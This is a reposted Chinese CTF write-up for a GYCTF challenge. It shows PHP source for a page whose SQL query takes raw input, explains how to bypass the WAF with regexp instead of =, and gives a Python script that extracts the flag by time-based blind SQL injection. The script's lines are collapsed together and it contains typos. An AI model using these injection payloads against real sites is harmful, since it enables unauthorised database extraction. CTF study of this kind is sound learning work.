ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

GYCTF 盲注【regexp注入+时间盲注】

2020-02-26 17:06:16  阅读:327  来源: 互联网

标签:GYCTF import sleep time regexp 盲注 payload


考点:regexp注入+时间盲注

源码:

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

union select  '  =  都ban了,但sleep()没ban

考虑regexp代替 =  的时间盲注

?id=1 or if((length (datanase()) regexp 5, sleep(5),1)

exp:
#脚本来源https://www.gem-love.com/ctf/1669.html#i-2
import requests import time import datetime from urllib.parse import quote url = "http://2c2d306b5d6745be846972da7fd262b6e3668d53fa124de3.changame.ichunqiu.com/?id=111" alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9'] target = 'fl4g' result = '' print('www.gem-love.com') for i in range (1,33): for char in alphabet: # 设置payload payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char) # 计算响应时长 start = int(time.time()) r = requests.get(url+quote(payload)) response_time = int(time.time()) - start if response_time >= 2: result += char print('Found: {}'.format(result)) break

 



标签:GYCTF,import,sleep,time,regexp,盲注,payload
来源: https://www.cnblogs.com/tiaopidejun/p/12367774.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有